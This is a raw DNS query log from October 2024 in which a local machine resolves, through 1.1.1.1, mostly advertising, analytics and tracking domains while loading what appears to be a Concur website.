Oct 3, 2024 10:41:29.580199003 CEST	192.168.2.4	1.1.1.1	0x24ff	Standard query (0)	concurtechnologies.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.580743074 CEST	192.168.2.4	1.1.1.1	0x5102	Standard query (0)	concurtechnologies.tt.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:29.592647076 CEST	192.168.2.4	1.1.1.1	0xe373	Standard query (0)	concur.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.592797995 CEST	192.168.2.4	1.1.1.1	0x486e	Standard query (0)	concur.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:29.593786001 CEST	192.168.2.4	1.1.1.1	0xb096	Standard query (0)	concurtechnologies.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:29.594110966 CEST	192.168.2.4	1.1.1.1	0x9bc	Standard query (0)	concurtechnologies.sc.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:30.110944986 CEST	192.168.2.4	1.1.1.1	0xdc9b	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.112082005 CEST	192.168.2.4	1.1.1.1	0xce58	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:30.155530930 CEST	192.168.2.4	1.1.1.1	0xbe6	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:30.155781984 CEST	192.168.2.4	1.1.1.1	0x4a44	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.456487894 CEST	192.168.2.4	1.1.1.1	0x83ef	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.456625938 CEST	192.168.2.4	1.1.1.1	0x231c	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.496309996 CEST	192.168.2.4	1.1.1.1	0x86af	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.496517897 CEST	192.168.2.4	1.1.1.1	0x4beb	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.624531031 CEST	192.168.2.4	1.1.1.1	0xb439	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.624696970 CEST	192.168.2.4	1.1.1.1	0x306	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.626509905 CEST	192.168.2.4	1.1.1.1	0x658f	Standard query (0)	concurtechnologies.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.626790047 CEST	192.168.2.4	1.1.1.1	0x718d	Standard query (0)	concurtechnologies.sc.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.630176067 CEST	192.168.2.4	1.1.1.1	0xc0e8	Standard query (0)	concurtechnologies.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.630301952 CEST	192.168.2.4	1.1.1.1	0xd92c	Standard query (0)	concurtechnologies.tt.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:31.632504940 CEST	192.168.2.4	1.1.1.1	0xab93	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:31.632643938 CEST	192.168.2.4	1.1.1.1	0xc043	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:32.161900997 CEST	192.168.2.4	1.1.1.1	0x8b89	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:32.161901951 CEST	192.168.2.4	1.1.1.1	0xe190	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:33.842480898 CEST	192.168.2.4	1.1.1.1	0x6ad	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.842720985 CEST	192.168.2.4	1.1.1.1	0x1b02	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:33.844346046 CEST	192.168.2.4	1.1.1.1	0xbc91	Standard query (0)	tags.tiqcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:33.844491959 CEST	192.168.2.4	1.1.1.1	0xabd4	Standard query (0)	tags.tiqcdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:34.038377047 CEST	192.168.2.4	1.1.1.1	0xc374	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.038503885 CEST	192.168.2.4	1.1.1.1	0xb8f9	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:34.043026924 CEST	192.168.2.4	1.1.1.1	0xbff5	Standard query (0)	dp2.33across.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.043153048 CEST	192.168.2.4	1.1.1.1	0xd94	Standard query (0)	dp2.33across.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:34.097611904 CEST	192.168.2.4	1.1.1.1	0x21ad	Standard query (0)	consent.trustarc.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.097762108 CEST	192.168.2.4	1.1.1.1	0x25b1	Standard query (0)	consent.trustarc.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:34.176460981 CEST	192.168.2.4	1.1.1.1	0x88e0	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:34.176624060 CEST	192.168.2.4	1.1.1.1	0xe5b3	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:35.170331001 CEST	192.168.2.4	1.1.1.1	0x5e5d	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.170497894 CEST	192.168.2.4	1.1.1.1	0xc7ab	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Oct 3, 2024 10:41:35.321683884 CEST	192.168.2.4	1.1.1.1	0x80b6	Standard query (0)	consent.trustarc.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.321985006 CEST	192.168.2.4	1.1.1.1	0x7ad	Standard query (0)	consent.trustarc.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:35.670974016 CEST	192.168.2.4	1.1.1.1	0x82ce	Standard query (0)	www.concur.ca	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.671355009 CEST	192.168.2.4	1.1.1.1	0xe20d	Standard query (0)	www.concur.ca	65	IN (0x0001)	false
Oct 3, 2024 10:41:35.837011099 CEST	192.168.2.4	1.1.1.1	0xd906	Standard query (0)	tags.tiqcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:35.837232113 CEST	192.168.2.4	1.1.1.1	0xb248	Standard query (0)	tags.tiqcdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:36.693042994 CEST	192.168.2.4	1.1.1.1	0x475b	Standard query (0)	ml314.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:36.693176031 CEST	192.168.2.4	1.1.1.1	0x6cd2	Standard query (0)	ml314.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:36.916300058 CEST	192.168.2.4	1.1.1.1	0xb762	Standard query (0)	www.concur.ca	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:36.916475058 CEST	192.168.2.4	1.1.1.1	0xa874	Standard query (0)	www.concur.ca	65	IN (0x0001)	false
Oct 3, 2024 10:41:37.175230026 CEST	192.168.2.4	1.1.1.1	0x1f77	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:37.175369024 CEST	192.168.2.4	1.1.1.1	0x9c4a	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:38.168968916 CEST	192.168.2.4	1.1.1.1	0x39ed	Standard query (0)	fei.pro-market.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:38.169126987 CEST	192.168.2.4	1.1.1.1	0xec74	Standard query (0)	fei.pro-market.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:39.315301895 CEST	192.168.2.4	1.1.1.1	0x1c7	Standard query (0)	aorta.clickagy.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.315488100 CEST	192.168.2.4	1.1.1.1	0xe03c	Standard query (0)	aorta.clickagy.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:39.969458103 CEST	192.168.2.4	1.1.1.1	0x862d	Standard query (0)	scripts.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:39.969611883 CEST	192.168.2.4	1.1.1.1	0x815c	Standard query (0)	scripts.demandbase.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:40.202634096 CEST	192.168.2.4	1.1.1.1	0x1c52	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.202805042 CEST	192.168.2.4	1.1.1.1	0x2106	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:40.294233084 CEST	192.168.2.4	1.1.1.1	0xfca8	Standard query (0)	9504840.fls.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:40.294401884 CEST	192.168.2.4	1.1.1.1	0xcb77	Standard query (0)	9504840.fls.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:41.009740114 CEST	192.168.2.4	1.1.1.1	0xeb4d	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.009938955 CEST	192.168.2.4	1.1.1.1	0xd0a2	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:41.982702971 CEST	192.168.2.4	1.1.1.1	0x2f91	Standard query (0)	s.company-target.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.983329058 CEST	192.168.2.4	1.1.1.1	0x9da8	Standard query (0)	s.company-target.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:41.984370947 CEST	192.168.2.4	1.1.1.1	0x37b1	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.984606028 CEST	192.168.2.4	1.1.1.1	0xf7b0	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:41.987313032 CEST	192.168.2.4	1.1.1.1	0xf924	Standard query (0)	script.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:41.987914085 CEST	192.168.2.4	1.1.1.1	0x7528	Standard query (0)	script.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.157882929 CEST	192.168.2.4	1.1.1.1	0x39d3	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.158061028 CEST	192.168.2.4	1.1.1.1	0x3f45	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.274885893 CEST	192.168.2.4	1.1.1.1	0xa55b	Standard query (0)	scripts.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.275165081 CEST	192.168.2.4	1.1.1.1	0x6d4b	Standard query (0)	scripts.demandbase.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.276864052 CEST	192.168.2.4	1.1.1.1	0xabb0	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.277018070 CEST	192.168.2.4	1.1.1.1	0xd7f0	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.626148939 CEST	192.168.2.4	1.1.1.1	0x403	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.626291990 CEST	192.168.2.4	1.1.1.1	0xc63d	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.629822016 CEST	192.168.2.4	1.1.1.1	0x2309	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.630021095 CEST	192.168.2.4	1.1.1.1	0xbe8b	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.631145000 CEST	192.168.2.4	1.1.1.1	0x7469	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.631278038 CEST	192.168.2.4	1.1.1.1	0xfc49	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.636008978 CEST	192.168.2.4	1.1.1.1	0x5f9	Standard query (0)	script.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.636287928 CEST	192.168.2.4	1.1.1.1	0x124	Standard query (0)	script.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.667052984 CEST	192.168.2.4	1.1.1.1	0x53c5	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.667258978 CEST	192.168.2.4	1.1.1.1	0x66ea	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.895184994 CEST	192.168.2.4	1.1.1.1	0x1eac	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.895402908 CEST	192.168.2.4	1.1.1.1	0x1785	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.968226910 CEST	192.168.2.4	1.1.1.1	0xdba7	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.968437910 CEST	192.168.2.4	1.1.1.1	0x4a4a	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.983103037 CEST	192.168.2.4	1.1.1.1	0x93b2	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.983287096 CEST	192.168.2.4	1.1.1.1	0x6e24	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:42.990735054 CEST	192.168.2.4	1.1.1.1	0x9641	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:42.990932941 CEST	192.168.2.4	1.1.1.1	0x520a	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.357626915 CEST	192.168.2.4	1.1.1.1	0x890f	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.357800007 CEST	192.168.2.4	1.1.1.1	0xe7b3	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.377398968 CEST	192.168.2.4	1.1.1.1	0x1476	Standard query (0)	cdn.pdst.fm	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.377585888 CEST	192.168.2.4	1.1.1.1	0xe5b7	Standard query (0)	cdn.pdst.fm	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.413537979 CEST	192.168.2.4	1.1.1.1	0xb890	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.413743973 CEST	192.168.2.4	1.1.1.1	0xb039	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.431390047 CEST	192.168.2.4	1.1.1.1	0xd128	Standard query (0)	js.driftt.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.432003021 CEST	192.168.2.4	1.1.1.1	0x24d	Standard query (0)	js.driftt.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.793127060 CEST	192.168.2.4	1.1.1.1	0x29da	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.793426037 CEST	192.168.2.4	1.1.1.1	0xb757	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:43.953752995 CEST	192.168.2.4	1.1.1.1	0x1c3	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:43.953990936 CEST	192.168.2.4	1.1.1.1	0xedd8	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.475775003 CEST	192.168.2.4	1.1.1.1	0x7693	Standard query (0)	pixels.spotify.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.476156950 CEST	192.168.2.4	1.1.1.1	0xd638	Standard query (0)	pixels.spotify.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.487390041 CEST	192.168.2.4	1.1.1.1	0xbc05	Standard query (0)	pixel.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.487668037 CEST	192.168.2.4	1.1.1.1	0xcb6f	Standard query (0)	pixel.everesttech.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.488385916 CEST	192.168.2.4	1.1.1.1	0x426a	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.488814116 CEST	192.168.2.4	1.1.1.1	0x3bfb	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.638722897 CEST	192.168.2.4	1.1.1.1	0xc847	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.638922930 CEST	192.168.2.4	1.1.1.1	0xea9d	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.640640020 CEST	192.168.2.4	1.1.1.1	0x4969	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.640818119 CEST	192.168.2.4	1.1.1.1	0xaebd	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.642162085 CEST	192.168.2.4	1.1.1.1	0xa559	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.642489910 CEST	192.168.2.4	1.1.1.1	0xde54	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.646204948 CEST	192.168.2.4	1.1.1.1	0xb785	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.646533966 CEST	192.168.2.4	1.1.1.1	0xe35d	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.658165932 CEST	192.168.2.4	1.1.1.1	0xca12	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.658303976 CEST	192.168.2.4	1.1.1.1	0xb91	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.658735991 CEST	192.168.2.4	1.1.1.1	0x8236	Standard query (0)	cdn.pdst.fm	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.658857107 CEST	192.168.2.4	1.1.1.1	0x6742	Standard query (0)	cdn.pdst.fm	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.663413048 CEST	192.168.2.4	1.1.1.1	0x8f7b	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.663764000 CEST	192.168.2.4	1.1.1.1	0x90f6	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:44.678911924 CEST	192.168.2.4	1.1.1.1	0x9a7a	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.679348946 CEST	192.168.2.4	1.1.1.1	0x4e9c	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.035589933 CEST	192.168.2.4	1.1.1.1	0x3e4d	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.035753965 CEST	192.168.2.4	1.1.1.1	0x7cd7	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.040194035 CEST	192.168.2.4	1.1.1.1	0x7a72	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.040380001 CEST	192.168.2.4	1.1.1.1	0xde1e	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.286134958 CEST	192.168.2.4	1.1.1.1	0x6bd1	Standard query (0)	js.driftt.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.286564112 CEST	192.168.2.4	1.1.1.1	0x80d1	Standard query (0)	js.driftt.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.596946955 CEST	192.168.2.4	1.1.1.1	0xde1f	Standard query (0)	pixel.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.597215891 CEST	192.168.2.4	1.1.1.1	0x8579	Standard query (0)	pixel.everesttech.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.677817106 CEST	192.168.2.4	1.1.1.1	0x696c	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.677970886 CEST	192.168.2.4	1.1.1.1	0x55f6	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.689044952 CEST	192.168.2.4	1.1.1.1	0x74c	Standard query (0)	pixels.spotify.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.689141035 CEST	192.168.2.4	1.1.1.1	0x7595	Standard query (0)	pixels.spotify.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.757226944 CEST	192.168.2.4	1.1.1.1	0x9d7e	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.757534027 CEST	192.168.2.4	1.1.1.1	0xe280	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.875185013 CEST	192.168.2.4	1.1.1.1	0x9113	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.875366926 CEST	192.168.2.4	1.1.1.1	0xb337	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:45.876197100 CEST	192.168.2.4	1.1.1.1	0xddd5	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.876389980 CEST	192.168.2.4	1.1.1.1	0xc16f	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:46.198369980 CEST	192.168.2.4	1.1.1.1	0x85b7	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:46.198554993 CEST	192.168.2.4	1.1.1.1	0x296c	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.270272017 CEST	192.168.2.4	1.1.1.1	0x1fbb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.270628929 CEST	192.168.2.4	1.1.1.1	0xa019	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.441839933 CEST	192.168.2.4	1.1.1.1	0x803b	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.442358971 CEST	192.168.2.4	1.1.1.1	0xbc37	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.532984972 CEST	192.168.2.4	1.1.1.1	0xa46b	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.533137083 CEST	192.168.2.4	1.1.1.1	0xd858	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.892178059 CEST	192.168.2.4	1.1.1.1	0xdecf	Standard query (0)	tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.892306089 CEST	192.168.2.4	1.1.1.1	0x2d2c	Standard query (0)	tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.892725945 CEST	192.168.2.4	1.1.1.1	0x9ef1	Standard query (0)	pagestates-tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.892887115 CEST	192.168.2.4	1.1.1.1	0x150	Standard query (0)	pagestates-tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:47.893316984 CEST	192.168.2.4	1.1.1.1	0x6372	Standard query (0)	assets-tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.893459082 CEST	192.168.2.4	1.1.1.1	0x4b1e	Standard query (0)	assets-tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.160074949 CEST	192.168.2.4	1.1.1.1	0x4306	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.160212040 CEST	192.168.2.4	1.1.1.1	0xc23	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.247528076 CEST	192.168.2.4	1.1.1.1	0x7a8c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.247675896 CEST	192.168.2.4	1.1.1.1	0x3015	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.288554907 CEST	192.168.2.4	1.1.1.1	0x9ac3	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.288728952 CEST	192.168.2.4	1.1.1.1	0xf829	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.484622955 CEST	192.168.2.4	1.1.1.1	0xda1c	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.484759092 CEST	192.168.2.4	1.1.1.1	0x2dca	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.814970970 CEST	192.168.2.4	1.1.1.1	0xfc89	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.815468073 CEST	192.168.2.4	1.1.1.1	0xeabb	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.831100941 CEST	192.168.2.4	1.1.1.1	0xde86	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.831353903 CEST	192.168.2.4	1.1.1.1	0xfb2	Standard query (0)	sync.search.spotxchange.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.840790033 CEST	192.168.2.4	1.1.1.1	0x34c4	Standard query (0)	sync.search.spotxchange.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.966062069 CEST	192.168.2.4	1.1.1.1	0xa3fa	Standard query (0)	assets-tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.966511011 CEST	192.168.2.4	1.1.1.1	0x76a5	Standard query (0)	assets-tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:49.001416922 CEST	192.168.2.4	1.1.1.1	0x6f7f	Standard query (0)	pagestates-tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.001624107 CEST	192.168.2.4	1.1.1.1	0x5920	Standard query (0)	pagestates-tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:49.114856958 CEST	192.168.2.4	1.1.1.1	0x28b	Standard query (0)	tracking.crazyegg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.115709066 CEST	192.168.2.4	1.1.1.1	0xbed9	Standard query (0)	tracking.crazyegg.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:49.228280067 CEST	192.168.2.4	1.1.1.1	0x529	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.232847929 CEST	192.168.2.4	1.1.1.1	0x3fd	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:49.381884098 CEST	192.168.2.4	1.1.1.1	0xed0b	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.382137060 CEST	192.168.2.4	1.1.1.1	0x60c7	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:49.991605043 CEST	192.168.2.4	1.1.1.1	0x8b40	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.991792917 CEST	192.168.2.4	1.1.1.1	0x91f9	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:50.019654989 CEST	192.168.2.4	1.1.1.1	0x6b0c	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.019903898 CEST	192.168.2.4	1.1.1.1	0x8e51	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:50.570875883 CEST	192.168.2.4	1.1.1.1	0xa8be	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
